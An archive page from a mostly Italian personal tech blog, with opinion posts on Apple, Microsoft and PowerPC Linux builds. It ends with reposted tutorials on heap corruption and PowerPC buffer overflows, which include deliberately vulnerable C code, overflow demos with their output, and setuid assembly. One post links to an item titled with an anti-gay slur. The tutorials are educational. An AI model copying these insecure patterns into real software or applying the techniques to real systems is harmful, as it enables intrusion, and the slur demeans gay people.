DaNiMoTh's place

Windows Phone 7 Store: No GPL, thanks

2011-02-18T00:10:00.000+01:00

Come riportato qui [], la permissiva licenza di questo Windows Store NON permette la vendita / distribuzione di codice sotto *GPL.

Passi per tutte le altre limitazioni (no opengl, no html5, no multithreading, no linguaggi diversi da C# e VB...) ma nemmeno scegliere la licenza per il proprio programma...

Direi che come al solito, siamo alle comiche: spero proprio che Nokia fallisca.

[] http://discussion.forum.nokia.com/forum/showthread.php?219222-Symbian-C-to-WP7-migration-questions

E se i giornali si potessero vendere solo su iTunes?

2011-02-10T09:56:00.000+01:00

Se ne stanno incominciando ad accorgere anche quelli dell'unione europea. Ve lo immaginate lo scenario dove i quotidiani on line si potessero acquistare solo via itunes? Il 30% se lo mangerebbe Apple, in barba a tutti quelli che dicevano "una bella rivoluzione".

Quando si tratta di libertà, con Apple non si può dialogare.

[] http://www.downloadblog.it/post/13766/futuro-delleditoria-lenpa-contro-apple

Anche flash su OSX dice addio ai ppc

2011-02-10T09:28:00.001+01:00

Peccato che sia l'ora di HTML5 :)

Basta flash!

[] http://www.melablog.it/post/13437/flash-player-102-dice-addio-ai-powepc

Ancora death grip sugli iPhone Verizon

2011-02-10T09:26:00.001+01:00

La storia sembra destinata a non finire mai. Neppure dopo un re-design il problema sembra risolto definitivamente.. Cara Apple, ma provarle le cose?

mah

[] http://www.melablog.it/post/13440/iphone-verizon-ancora-problemi-dantenna

Ciao ciao autorun..

2011-02-10T09:23:00.000+01:00

Per una volta, Microsoft ha fatto la cosa giusta: ha eliminato l'autorun dai dispositivi (cd, usb) nelle vecchie versioni (ancora usatissime) del suo avanzato sistema operativo.

Come dissi tempo fa: SO da schi{f,t}o !

Scoop!

2011-02-03T09:54:00.001+01:00

Divertente sito di news sul mondo Apple :-)

[] http://scoopertino.com/

Chi siete? Dove andate? Sì, ma quanti siete? Un fiorino!

2011-02-02T15:41:00.000+01:00

Apple ancora una volta ha ribadito che le cose o si fanno come vuole lei (e al suo prezzo) o non si fanno.

Paragrafo 11.2 (AppStore Guidelines)
"Le app che per l'acquisto di contenuti e servizi utilizzano un sistema diverso da quello previsto dalle API in-app purchase verranno respinte"

[] http://punto-informatico.it/3081527/PI/News/apple-nessun-acquisto-al-fuori-me.aspx

Perche' l'iPad e' meglio di aPad?

2011-01-28T10:37:00.000+01:00

L'aPad e' un clone cinese, con Android 2.1, dell'iPad. A conclusione dell'articolo (preso su newnotizie, da sempre fonte sicura per chi ha voglia di un po' di comicita'), c'e' la risposta alla domanda in oggetto. Riporto:

"l'iPad è così trendy, elegante e raffinato che batte il suo falso cinese già alla prima vista."

Ecco le vere caratteristiche che ti fanno spendere 800 euro: trendy, elegante e raffinato.
Wow.

[] http://www.newnotizie.it/2011/01/24/boom-di-apad-limitazione-cinese-del-tablet-apple/

The Daily: ancora un rinvio

2011-01-28T10:16:00.000+01:00

C'e' stato l'ennesimo rinvio del quotidiano di Murdoch, ancora problemi tecnici. Non possiamo sapere che tipo di problemi siano (solo ipotizzare) ma per fortuna che l'iBad era la piattaforma perfetta per una cosa del genere :-)

Collegata alla news, si parla di un probabile sbarco su Android (che i top manager abbiano visto i dati delle vendite, con Android in super ascesa?) ma io rilancio con una provocazione: come faranno a portare quella applicazione su android ? E se volessero su Meego? E sul kindle ?

Credo che la cosa migliore siano un insieme di API comuni. Peccato che cio' non arrivera' mai... (per colpa di tutti stavolta, non solo di apple)

Apple, e libera 'sti dispositivi !

2011-01-22T12:53:00.001+01:00

Cosi' almeno i tuoi utenti potranno apprezzare un software ben scritto e pieno di funzionalita' : XBMC.

I suoi sviluppatori hanno rilasciato la versione per ARM: sul loro sito potete trovare tutte le caratteristiche che, se Apple volesse (ma non vuole perche' e' in diretta concorrenza con i suoi prodotti..) potrebbe invogliarmi a comprarmi una AppleTv.

Perche' con quel software, l'AppleTv non sarebbe legata ad iTunes, ogni video che mi voglio guardare non necessiterebbe di una codifica, potrei condividere i video sulla rete.. e avrei accesso alla decodifica hardware per i video fullhd.

Chi l'ha detto che l'Apple e' sempre avanti?

[] http://xbmc.org/theuni/2011/01/20/you-asked-for-it-xbmc-for-appletv2-ipad-iphone4/

Cook: tutto cio' che non e' iBad e' stupido e bizzarro

2011-01-20T21:02:00.000+01:00

In sintesi, questo e' il pensiero di colui che recentemente ha preso il posto dell'altro genio della lampada Jobs.

Giusto perche' sono buono, vi rimando ad un articolo che fa la comparazione tra l'iBad e il Samsung Galaxy Tab, se non l'avete mai letto [2].Giusto per riassumere, il galaxy tab sta in tasca, ha foto+videocamera e permette di mandare mms e videochiamare. Ha il doppio della RAM, e durante la navigazione puo' vedere filmati in flash e riprodurre tutti i contenuti multimediali (compresi i DivX), bluethooth 3.0.

Forse anche Cook (a questo punto sara' lui stupido e bizzarro.. che sia meglio che continui a comprare componenti piuttosto che parlare?) ha comprato un Galaxy Tab.. o stara' aspettando il RIM Playbook ? :)

[1] http://www.electronista.com/articles/11/01/18/apples.cook.says.small.tablets.odd/
[2] http://apple.hdblog.it/2010/09/14/ipad-vs-galaxy-tab-ecco-la-nostra-tabella-comparativa/
[3] http://www.electronista.com/articles/11/01/07/we.test.the.blackberry.playbook.as.rim.hints.sync/

Editoria digitale ed iPad? Gli utenti si sono accorti della fregatura

2011-01-20T20:46:00.001+01:00

Riporto un articolo apparso su apple-blog, e in neretto le cose "apparentemente" dimenticate.

Abbiamo affrontato più volte il tema dell’editoria digitale, applicata ai dispositivi mobili, come l’iPad. E’ una tecnologia in pieno sviluppo, sia tecnologico che per quanto riguarda la diffusione fra gli utenti. Proprio l’iPad ha contribuito in maniera importante a questo sviluppo, forse in un modo piu' pubblicitario che altro, dato che già altri dispositivi (viene in mente il prodotto di Amazon) hanno iniziato a mettere in circolo l’editoria digitale, con ottimi ~~buoni~~ risultati e soprattutto con una tecnologia migliore. Ricordiamo ad esempio come il display retroilluminato dell'iPad sia affaticante per gli occhi, mentre il display senza retroilluminazione del Kindle sia perfetto per la lettura anche all'esterno. Con l’espansione del mercato dell’editoria digitale, grazie ai nuovi dispositivi, si pensava che il 2011 poteva essere l’anno del definitivo lancio: i presupposti sono negativi. Infatti alcuni portali riportano cifre contrastanti, specie per quello che riguarda i download periPad: sono in calo. Il numero da giugno 2010 a questi primi giorni di gennaio 2011, è sceso, dai 100.000 download dei mesi estivi, siamo passati ad un crollo verticale, solo 23.000 download a fine 2010. Cos’è che ha contribuito a questo cambio di direzione? I costi dell’iPad sono noti a tutti, a partire da 499 Euro, mentre alcuni dispositivi – probabilmente meno eleganti ma con un ~~simile~~ potenziale maggiore, dato che sono stati progettati apposta per la lettura, al contrario dell'iBad che in sostanza e' un iPod piu' grande – hanno prezzi inferiori, circa 139 dollari, anche gli editori hanno capito questo e così hanno deciso di effettuare una virata netta e decisa su altri mercati, tralasciando o mettendo da parte l’iBook Store. Per gli iPad si attende con impazienza l’uscita del quotidiano progettato solo per iPad da Rupert Murdoch, The Daily, ma i tempi sembrano essersi allungati. In sostanza, se Murdoch non avesse creduto alle fandonie di Jobs, a quest'ora avrebbe davvero potuto avere in mano l'editoria digitale (purtroppo). Mentre ora e' costretto a mangiarsi le mani.

[] http://www.apple-blog.info/editoria-digitale-ed-ipad-le-vendite-sono-in-forte-calo/

Firefox, ipc and powerpc

2011-01-18T21:25:00.000+01:00

As you already know, mozilla had cut'n'paste the entire ipc (InterProcess Communication) part of Chromium.
Ipc are used to make sandbox for plugins and for tabs: it is an important feature that should be available to all firefox users.

Sadly, Chromium developers focus on x86 and arm, so doesn't care if their code are portable. They doesn't care if their core is endianness-independent too: bad things, 'cause we don't know the future, and if future big endian chips will dominate the world.

Mozilla has checked the code before cut & paste? Absolutely not!

So, the only thing left to powerpc users is to disable the entire ipc part with --disable-ipc.

I've spent this afternoon to play into their source code, and I have made a patch which adds atomic operation support in their code. You could see the patch here [1].

If you have some time (I had exams :P) there is a nice things you could do: check data_pack.cc, and make it endianness-independent. Maybe there are only some swap todo.

[1] https://bugzilla.mozilla.org/show_bug.cgi?id=579757

Giornalismo Gossipparo

2011-01-16T11:50:00.001+01:00

Una cosa un po' diversa dal solito. Dall'articolo [1], di un autore che per bonta' sua non si firma, leggo, in fondo, le seguenti parole:

Microsoft sembra partire in salita e al contrario del blasonato Iphone, pare essere sempre rincorrere un sistema stabile e "bugs free". C'è anche da dire che come sempre i suoi sistemi hanno una tecnologia, nel senso di codice, che molti "smanettoni" possono capire, utilizzare e a volte craccare.

*) L'iphone e' bug free? Da quando? Esistono milioni di pagine relative al suo jailbreak, e questo dice che e' bug free. Se avesse letto articoli di altri, come [2], sempre sullo stesso sito, magari avrebbe una opinione diversa. Mah.

*) I sistemi microsoft hanno del codice che molti smanettoni possono capire, utilizzare e craccare. Bene, questi simpatici smanettoni hanno del codice di una piattaforma chiusa: beh, allora sono un po' meno smanettoni, perche' non credo che sia cosi' facile ottenere il codice di windows.
Se il codice non e' disponibile, cosa hanno fatto questi tre smanettoni? Del reverse in assembly? Non so se possono essere ancora chiamati smanettoni... L'ultima frase e' un tipico commento giornalistico che andrebbe evitato. Andrebbe evitato sia perche' in un articolo di giornale ci si deve limitare a riportare FATTI OGGETTIVI (per il resto ci sono i blog, come questo), ed andrebbe evitato perche' si rischia di ricadere nelle stra-pallosissime frasi del tipo "Gli hacker che rubano i soldi dalle carte di credito".

Mioddio. Ho visto anche un altro articolo, sempre di I.T. [3], in cui e' cosa buona e giusta una macchina virtuale per ogni componente della famiglia (O_O) e che bisogna stare attenti, perche' virus possono passare da una parte (guest) all'altra (host) senza ritegno. Boh, io che non sono giornalista, so che certe cose possono accadere, pero' non l'avrei messa giu' cosi' : se si condividono documenti da fuori a dentro, e' chiaro che possono passare (soprattutto se l'host e' Windows), ma in casi di VM separate (come dovrebbe essere) non puo' e non deve accadere. Inutile allarmismo dunque.

Un voto pessimo a I.T.

[1] http://www.newnotizie.it/2011/01/16/windows-phone-7-il-software-che-sbocca/
[2] http://www.newnotizie.it/2010/10/29/iphone-chiamate-gratis-a-causa-di-un-bug/
[3] http://www.newnotizie.it/2011/01/13/virtualizzazione-si-puo-fare-anche-sul-pc-di-casa/

Wales: Dobbiamo essere padroni dei nostri dispositivi

2011-01-14T19:42:00.001+01:00

Cosi' si e' espresso J. Wales, il founder di Wikipedia.
Ha definito Apple come la minaccia maggiore per la liberta' di Internet, citando iTunes e i vari dispositivi come esempio di "dittatura malevola".

“It’s like spending a lot of money on a new car and the manufacturer dictating who you can and can’t have as a passenger in it.”

"E' come spendere molti soldi in una nuova macchina, e avere il produttore che sceglie, senza possibilita' di replica, chi sale sopra e chi sta giu'"

[] http://swns.com/wikipedia-founder-jimmy-wales-apple-threatens-openness-of-internet-140918.html

Yeah

2011-01-13T20:03:00.002+01:00

iPhone 4b

2011-01-13T11:03:00.000+01:00

Sta per uscire il nuovissimo e mirabolante iPhone 4b. Si, e' sempre un iPhone 4 (che bello, a Giugno esce l'iPhone nuovo, e bisogna comprare questo qui?) con una novita' di scarso rilievo: forse e' stato corretto il famoso "bug" degli esseri umani. Ma non era il bug dell'antenna?

No, non era l'antenna che funzionava male, sono gli utenti mancini che sono nati male: la cara apple in ogni caso ha sistemato pure questo problema (sistemato.. l'ha ridotto, diciamo).

Grazie Apple, i tuoi prodotti sono sempre i migliori. E grazie anche a Verizon (gestore di telefonia USA) che permette di acquistare l'iPhone 4b con contratto lockato per due anni (e tra 4 mesi, quando uscira' il nuovo iPhone.. ripeto.. che si fara'?)

[] http://gizmodo.com/5730642/the-verizon-iphones-got-a-new-antenna

iOS 4.3: HotSpot (col consenso del vostro gestore pero'...)

2011-01-13T10:54:00.000+01:00

Una delle solite, imprevedibili e *nuovissime* feature per l'OS di Cupertino. Adesso sta per arrivare, in tutti gli iPhone... l'hotspot.

L'hotspot e' quella feature che permette ad un utente di condividere la propria connessione dati tramite un punto d'accesso WiFi.

C'e' da segnalare che la feature e' attivabile solo dal vostro gestore di telefonia, perlomeno con iOS 4.3 beta. Chissa' se in futuro Apple ci regalera' questa nuovissima e fiammante feature senza passare dai gestori. Gli utenti iPhone sono proprio fortunati !

Come ? Android ha gia' questa feature? Ah, da.. un anno !?!? Ed e' anche libera ? Non ci credo.

[] http://www.bgr.com/2011/01/12/confirmed-personal-hotspot-feature-coming-to-all-iphones-in-ios-4-3/

Fail

2011-01-13T10:47:00.000+01:00

Windows Phone 7 e i troppi dati

2011-01-13T10:40:00.001+01:00

Quanto mi hanno fatto ridere le lamentele di alcuni utenti (molti, a dir la verita') che il SO per telefoni di casa Redmond utilizza, in idle, dai 3 ai 5 Mb di dati anche su connessione 2/3G.

Essendo la memoria, lo spazio, le risorse computazionali tutto in cloud, solo 3/5 Mb all'ora dimostrano quanto Microsoft sia stata brava a perfezionare i suoi algoritmi di gestione :-D

[] http://www.bbc.co.uk/news/technology-12152517

Eclipse: what a pain to build

2010-12-20T19:58:00.001+01:00

I was trying to build eclipse from sources, but I didn't find any detailed instruction. Then, someone pointed me to [1], where I found the ppc binaries, and the sources, and detailed instruction :)

Thank you !

[1] http://download.eclipse.org/eclipse/downloads/drops/R-3.6.1-201009090800/index.php

Unsupported relocation against r0

2010-12-11T12:00:00.001+01:00

Today I'm building mono-2.8 for ArchlinuxPPC, and I get this error from the assembler:

{standard input}: Assembler messages:

{standard input}:26505: Error: unsupported relocation against r0

make: *** [libmonoruntimesgen_la-sgen-gc.lo] Error 1

The solution is modifying CFLAGS:

export CFLAGS="$CFLAGS -Xassembler -mregnames"

Have a nice day

Come mi sento today

2010-10-25T10:26:00.001+02:00

http://www.youtube.com/watch?v=ijBmSkBmoUk

I froci: sfatiamo miti come se piovessero sodomiti

2010-09-22T21:30:00.003+02:00

http://www.lamentazioni.org/blog/2010/09/i-froci-sfatiamo-miti-come-se-piovessero-sodomiti.prcd

Quand'e' che partiamo?

ArchLinuxPPC: The Most Advanced PPC distro in the world

2010-09-20T21:35:00.001+02:00

Hello all,

Do you ever know what PowerPC are?
They're great processors made by IBM, which was the core of old Macintosh, and the core of some of the new-generation console, as Nintendo Wii or Playstation 3.

Linux supports powerpc, and this support continue to grow, because big IBM mainframe are all made by many PowerPC CPUs.
So, what is the most advanced linux distro for PowerPC? ArchLinuxPPC!
We provide the last GNOME 2.30.2, KDE 4.5.1, XFCE 4.6.3, the lastest Xorg 1.9, and kernel 2.6.35.4.

Join now our community, and long live PPC!

undefined reference to `__libc_csu_fini'

2010-09-05T19:14:00.001+02:00

After compiling glibc, I had this error when I try to compile other programs:

crt1.o: In function `_start':
(.text+0xc): undefined reference to `__libc_csu_fini'

It is caused by a bad strip of glibc libraries. Please, make sure you don't strip anything (or use --strip-debug) when compiling glibc :)

Heap Corruption

2010-07-16T01:52:00.003+02:00

,-----------------------------------------------------------------.

| Heap Corruption / A Short Description and Step-by-Step Tutorial |
|         Costantino Pistagna - pistagna@dmi.unict.it             |

'-----------------------------------------------------------------'

Abstract

Cosa e` lo Heap?
La memoria allocata dal processo in fase di runtime -esecuzione-, fa' parte
della struttura che comunemente va' sotto il nome di Heap. Con il termine Heap,
quindi, si intende qualunque forma e porzione di memoria che viene creata
dinamicamente durante l'esecuzione del nostro processo. Un array di caratteri,
allocato dinamicamente attraverso una chiamata malloc/calloc fara' parte dello
heap. In generale qualunque assegnazione dinamica di memoria contigua fara'
parte dello heap. Viceversa, quando la porzione di memoria non e' piu' utile,
viene chiamata una funzione antitetica alla malloc: free().

In qualunque circostanza, comunque, la gestione dello Heap e' un compito
altamente complesso. L'obiettivo di allocazione ottimale ed efficente della
memoria, infatti, e' un problema NP-Completo; questo significa, che qualunque
approccio utilizzato, non ha soluzione polinomiale adeguata. Ci limiteremo,
quindi, a lavorare con algoritmi che fanno il loro lavoro "ragionevol
mente" bene ed in un "ragionevole" intervallo di tempo. Si puo' vedere
il problema come la ricerca del giusto compromesso: se si ottimizza la gestione
della memoria senza sprechi, si paga un pegno in termini di tempo e risorse
della CPU; viceversa se non si ottimizza adeguatamente la memoria, si avranno
delle chiamate di funzione - malloc,free, etc. - molto piu' veloci, ma una
gestione della memoria disponibile molto frammentata.

.         .                      .         .
.         .                      .         .
.---------.                      .---------.
|allocated|                      | free    |
+---------+                      +---------+
|allocated|                      |allocated|
+---------+                      +---------+
|allocated+                      | free    |
+---------+                      +---------+
|allocated+                      | free    |
+---------+                      +---------+
|allocated+                      |allocated|
+---------+                      +---------+
.         .                      |allocated|
.         .                      +---------+
.         .                      .         .
.         .                      .         .

Quando una porzione di memoria viene allocata, non puo' essere ri/mossa sino a
quando l'utente non la libera. Se viene liberata della memoria ad indirizzi
inferiori o superiori, si crea quello che si chiama un "buco" nella memoria
allocata. Il blocco di memoria libero cosi' creato viene, tipicamente, aggiunto
in una lista doppiamente linkata per successive riallocazioni. Come gia'
accennato, una buona gestione dello heap dovrebbe allocare la memoria in
maniera contigua senza lasciare spazi inutilizzati; questo implica delle
politiche di gestione dello spazio non indifferenti, che comunque portano via
del tempo. Gli heap manager piu' efficenti riescono ad effettuare allocazioni
di spazio in tempi non superiori a O(lgn), il che non e' male. Un buon rapporto
prezzo/prestazioni, insomma, e' l'unica soluzione verosimilmente attuabile.

Lo spazio di indirizzamento dei processi
Lo spazio di indirizzamento di un processo consiste di tutti gli indirizzi
logici che puo' utilizzare. Ogni processo ha un suo spazio di indirizzamento
privato ma puo' condividerlo, attraverso tecniche di memory sharing, con altri
processi. Un processo puo' acquisire nuova memoria dinamica per il suo heap
attraverso chiamate di sistema dedicate: malloc, calloc, brk. I campi start_brk
e brk indicano, rispettivamente, il punto di inizio ed il punto di fine
dell'attuale zona di heap. Attraverso le funzioni sopra citate e' possibile,
tuttavia, modificare a proprio piacimento le dimensione dello heap. brk(2) e'
la radice di tutte le altre funzioni e si occupa della crescita dinamica del
data segment o heap.

Gli Overflow di Heap: Heap Corruption Attack
Gli overflow di heap possono essere divisi in due classi:
Una classe comprende gli attacchi dove l'overflow di un buffer allocato sullo
heap altera direttamente il contenuto di una zona di memoria adiacente.
L'altra classe comprende exploits che alterano le informazioni di gestione
utilizzate dal memory manager (malloc, free, etc.). La maggior parte delle
implementazioni di *alloc condividono il comportamento nel conservare le
informazioni di gestione all'interno dello stesso heap. Questo comportamento
diventa un possibile punto d'attacco per un attaccante che intende modificare
o corrompere le informazioni presenti sullo heap.

L'idea centrale dell'attacco e' quella di modificare le informazioni di
gestione, in un modo che permettera' sovrascritture arbitrarie successive.
Cosi' facendo gli indirizzi di ritorno, tabelle di link o data level possono
essere alterati in maniera casuale dall'attaccante. Quale esempio chiaritore,
si immagini un contesto in cui le zone di memoria heap vengono conservate
attraverso delle strutture dati liste doppiamente linkate. Se un attaccante e'
in grado di modificare le zone di heap adiacenti a quella in cui gli e'
permesso scrivere -attacco del primo tipo-, con un po' piu' di esperienza sara'
in grado di modificare i puntatori del proprio spazio di memoria in maniera da
puntare a zone diverse da quelle originali. In questo modo e' possibile
modificare i puntatori interpellati in fase di liberamento e nuova allocazione
della memoria, creando una corruzione dello heap. Si vedano a tal proposito gli
esempi forniti.

Al di la' di tecniche esoteriche, comunque, il problema della malformazione
dello heap puo' dare vita a fenomeni e situazioni inaspettate: -bugs-. A titolo
di esempio, si immagini un elementare programma che conservi in memoria
strutture dati complesse, contenenti informazioni circa utenti e loro credito
bancario:


typedef struct cliente {
char nome[20];
char cognome[20];
int  credito;
int  debito;
struct cliente *next, *prev;
}


L'utente  che  ha accesso in scrittura alle zone di memoria dinamica contenenti

le strutture di cui sopra,puo' sferrare attacchi multipli di tipo HC al sistema
Se non viene fatto nessun controllo sulla stringa nome e cognome, sara' facile
scavalcarle per poter avere accesso libero alle note di credito e debito. Il
seguente codice, anche se concettualmente giusto, apre una breccia di sicurezza all'interno del nostro sistema:


int main(int argc, char **argv) {
cliente *ptr;
ptr = (cliente *)calloc(1,sizeof(cliente));

strcpy(ptr->cognome, argv[2]);
ptr->credito=atoi(argv[3]);
ptr->debito=atoi(argv[4]);
strcpy(ptr->nome, argv[1]);

printf("Vs. Credito: %d\nVs. Debito: %d\n", ptr->credito, ptr->debito);
return 0;
}

cagliostro$./heap4 Marco Moretti 0 4
Vs. Credito: 0
Vs. Debito: 4
cagliostro$

Cosa succede se forziamo il buffer NOME ?


cagliostro$./heap4 MarcoPINOPENASENZAPANEMENTREPINAPANEPONENEL Moretti 0 4
Vs. Credito: 1313164288
Vs. Debito: 4
cagliostro$

Eccoci servito un credito a nostro favore di: 1.313.164.288Euro!

Ma il nostro attaccante puo' anche giocare piu' astutamente e modificare allo
stesso modo i puntatori *next e *prev, fornendo locazioni con utenze di comodo
che si e' precedentemente creato senza corrompere direttamente i campi. Visto
che la memoria in un sistema viene mantenuta attraverso liste linkate (in
verita' non e' proprio cosi, ma l'astrazione rende per il target del nostro
trattato)un attaccante potra' alterare i puntatori a zone di memoria in maniera
da ottenere un effetto di invalida e corruzione dello heap da sfruttare a
proprio favore.

Forziamo le regole - Alcuni Esempi Pratici
Se un utente malizioso e' in grado di mettere in overflow un blocco di memoria
allocato dinamicamente,potra' sovrascrivere la prossima intestazione di memoria
contigua.Quando il chunk messo in overflow viene disallocato, ad esempio in una
lista doppiamente linkata, l'attaccante puo' controllare i valori next e prev
di questo chunk.

Un file eseguibile come ELF, ha alcune sezioni al suo interno:

- PLT (Procedure Linking Table)
- GOT (Global Offset Table)
- init (instructions executed on init)
- fini (instructions executed upon termination)
- ctors (global constructors)
- dtors (global destructors)

La memoria allocata al processo e' conosciuta, ovviamente, come HEAP.La sezione
BSS contiene dati non inizializzati, e viene allocata a run-time. Finche' non
viene scritto su di essa, rimane a zero. Quando parliamo di heap-based overflow
ci riferiamo contemporaneamente a overflows di buffers basati su heap/data/bss.


valvoline$ cat heap1.c

#include 
#include 
#include 
#include 

#define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

int main() {
u_long diff;
char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

diff = (u_long)buf2 - (u_long)buf1;
printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);
memset(buf2, 'A', BUFSIZE-1);
buf2[BUFSIZE-1] = '\0';
printf("before overflow: buf2 = %s\n", buf2);
memset(buf1, 'B', (u_int)(diff + OVERSIZE));
printf("after overflow: buf2 = %s\n", buf2);
return 0;
}

valvoline$ ./heap1
buf1 = 0x300140, buf2 = 0x300150, diff = 0x10 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
valvoline$

Il codice funziona perche buf1 va' oltre i suoi limiti e sconfina nello spazio
di heap di buf2. Semplice! Poiche' lo spazio di heap di buf2 e' ancora valido
(qualcuno ha allocato dello spazio in memoria ed e' possibile scrivere/leggere)
il programma continuera' a funzionare senza segnalarci errori o crash.


valvoline$ cat heap2.c

#include 
#include 
#include 
#include 
#include 

#define BUFSIZE 16
#define ADDRLEN 4 /* # of bytes in an address */

int main() {
u_long diff;
static char buf[BUFSIZE], *bufptr;

bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
&bufptr, bufptr, buf, diff, diff);
memset(buf, 'A', (u_int)(diff + ADDRLEN));
printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
&bufptr, bufptr, buf, diff, diff);
return 0;
}

valvoline$ ./heap2
bufptr (0x3090) = 0x3080, buf = 0x3080, diff = 0x10 (16) bytes
bufptr (0x3090) = 0x41414141, buf = 0x3080, diff = 0x10 (16) bytes

valvoline$

Il nuovo codice si appoggia ad un attacco di tipo bss/heap-based overflow.
In questo caso sovrascriviamo il puntatore ptrbuf, alterando teoricamente il
flusso originale del codice.

PowerPC bof howto

2010-07-16T01:50:00.004+02:00

,-----------------------------------------------.
| PPC - Buffer Overflow / What you need to know |
| Costantino Pistagna  -  pistagna@dmi.unict.it |
'-----------------------------------------------'

Abstract
Gli attacchi di tipo bof (BufferOverflow) sono una pratica relativamente facile
da implementare. Sulle architetture convenzionali, quali ad esempio intel x86,
il lavoro e' reso ancora piu' facile dal fatto che le chiamate a funzioni sono
implementate con l'opcode "call", il quale salva l'indirizzo del chiamante
sullo stack in maniera da poterlo ripristinare alla fine della funzione
chiamata. Discorso a parte deve essere fatto con architetture alternative,quali
ad esempio PPC e Sparc, per queste deve essere utilizzata una tecnica
alternativa per potere forzare lo stack dal momento che sono presenti ostacoli
di tipo logistico differenti.

PPC e OS X/Darwin
Una funzione tipica per ppc e' eseguita con l'istruzione 'blr' la quale salva
l'indirizzo di ritorno del chiamante in un registro speciale destinato a questo
scopo, chiamato "link register". Se tutto fosse lasciato cosi' com'e' l'attacco
di tipo "smash-stack" non sarebbe possibile a causa del fatto che non abbiamo
nessuna possibilita' di alterare il link register con una semplice riscrittura
dello stack. Fortunatamente per l'attaccante l'amministratore, il link register
deve essere salvato ogni volta che una funzione chiama un'altra funzione.
Proviamo a dare un rapido sguardo di insieme alle funzioni generali ed alle
caratteristiche principali dell'architettura che ci saranno utili durante tutto
il corso del testo.

L'architettura powerpc utilizza un set di istruzioni RISC (Reduced Instruction
Set Computer). Tutte le istruzioni,opcodes,sono della stessa dimensione (32bit)
per permettere l'elaborazione in architetture parallele pipelined. Anche se e'
possibile fare operare i processori PowerPC indifferentemente in indirizzamento
"little endian" o "big endian",la loro configurazione di default e' big endian.
A causa del modo in cui le istruzioni sono caricate ed eseguite in memoria
dalla CPU, ogni istruzione richiede di essere validata prima di poter essere
eseguita. Questa validazione avviene sotto forma di un allineamento delle
istruzioni; se le istruzioni non risultano correttamente allineate a gruppi di
word, prima dell'esecuzione, il processore arrestera' l'esecuzione ritornando
un errore di allineamento al sistema operativo. Questo significa che ogni
istruzione 32bit deve essere "word"-allineata per essere considerata valida per
l'esecuzione dal microprocessore.

Il PowerPC ed il suo insieme di istruzioni sono pensati come una macchina a
stati con registri (load / store). E' possibile manipolare il flusso di dati da
e per la memoria attraverso l'uso di registri ed istruzioni ad essi associati.
Come conseguenza, esistono davvero poche istruzioni che permettono la
manipolazione diretta della memoria (a differenza delle architetture x86). I
seguenti registri (i piu' importanti) sono a disposizione del programmatore per
le operazioni piu' comuni:

Machine State Register (MSR) - Definisce la configurazione ed il modo di
operare della CPU. Il modo di operare in big-endian o little-endian,ad esempio,
viene governato da questo registro.

General Purpose Register (GPR) - Vengono forniti trentadue registri ad uso
generale (GPR0 - GPR31). Questi registri sono spesso indicati con r0, r1, etc.
Floating Point Register (FPR) - Sono presenti trentadue registri da 64bit (FPR0
- FPR31) per il calcolo in virgola mobile.
Overflow Register (XER) - Fornisce indicazioni circa il verificarsi di un
overflow avvenuto come risultato di una precedente istruzione e/o calcolo su
interi.
Floating Point Status and Control Register (FPSCR) - fornisce un metodo per il
controllo della correttezza riguardo le operazioni su virgola mobile ed il loro
esito.
Condition Register (CR) - fornisce indicazioni circa il risultato di un calcolo
precedente. Viene utilizzato tipicamente per salti condizionati.
Count Register (CTR) - e' un regitro a 32bit che puo' essere usato come
contatore di cicli ed essere decrementato automaticamente usando delle
specifiche istruzioni di salto.
Link Register (LR) - fornisce un meccanismo per conservare l'indirizzo di
ritorno di una subroutine.

OSX/Darwin e System Calls Il sistema operativo di Apple, MAC OS X (Darwin), e' molto simile a Linux nell' esecuzione delle chiamate di sistema; per essere piu' precisi le system calls vengono eseguite in accordo ad alcuni valori conservati all'interno dei registri del microprocessore. OS X e Darwin usano i seguenti registri generali come segue:

r0 - il numero della system call da eseguire. Le chiamate di sistema ed il loro
relativo numero sotto OSX/Darwin possono essere esaminate nel file:
/usr/include/sys/syscall.h. i Il registro r0 e' l'analogo del registro EAX nei
sistemi x86.
r1 - il registro r1 rappresenta l'equivalente dello Stack Pointer (SP) sotto i
sistemi x86.
r3 r4, ... - questi registri formano gli argomenti passati alla funzione quando
viene chiamata.

Provando a fare un esempio,la seguente porzione di codice mostra le similarita' presenti tra le due architetture (x86,ppc) ed i sistemi operativi (linux, osX):
linux(x86):

  mov eax, 0x01 ; muove in eax la chiamate di sistema per la exit(). Linux == 1 mov ebx, 0x05 ; muove il valore 5 nel registro ebx int 0x80 ; attiva la system-call exit(ebx) o se preferisci exit(5)

OSX (ppc):

li r0, 0x01 ; carica la systemcall per exit in r0. osX == 1 li r3, 0x05 ; carica il valore 5 nel terzo registro sc  ; attiva la system-call exit(r3) o se preferisci exit(5)

Un importante caratteristica da sottolineare e' il modo in cui i sistemi ppc ritornato dopo la fine di una funzione: il codice che verra' eseguito dopo una system call dipende dall'esito della stessa funzione. Il seguente codice ppc, test.s,chiama setuid(0).Se la chiamata ritorna con successo il programma andra' in exit(0); al contrario, se la chiamata setuid(0) fallisce, il sistema andra' in exit(1).

 cagliostro$cat test.s .globl _main .text  _main: xor     r3, r3,r3       ;  r3 = 0 li      r0, 23          ;  syscall per la setuid (23) sc                      ;  eseguiamo setuid() li      r3, 1           ;  il ritorno sara' in questo punto ;  se la chiamata a setuid fallisce. ;  r3 = 1 SE setuid(0) FALLISCE li      r0, 1           ;  altrimenti saltiamo qui ;  se setuid() ha successo ;  salviamo la nuova syscall da eseguire ;  in questo caso la exit (1) sc                      ;  ed invochiamo l'uscita...exit(r3)

cagliostro$gcc -o test test.s cagliostro$./test; echo $? 1 cagliostro$sudo ./test; echo $? 0
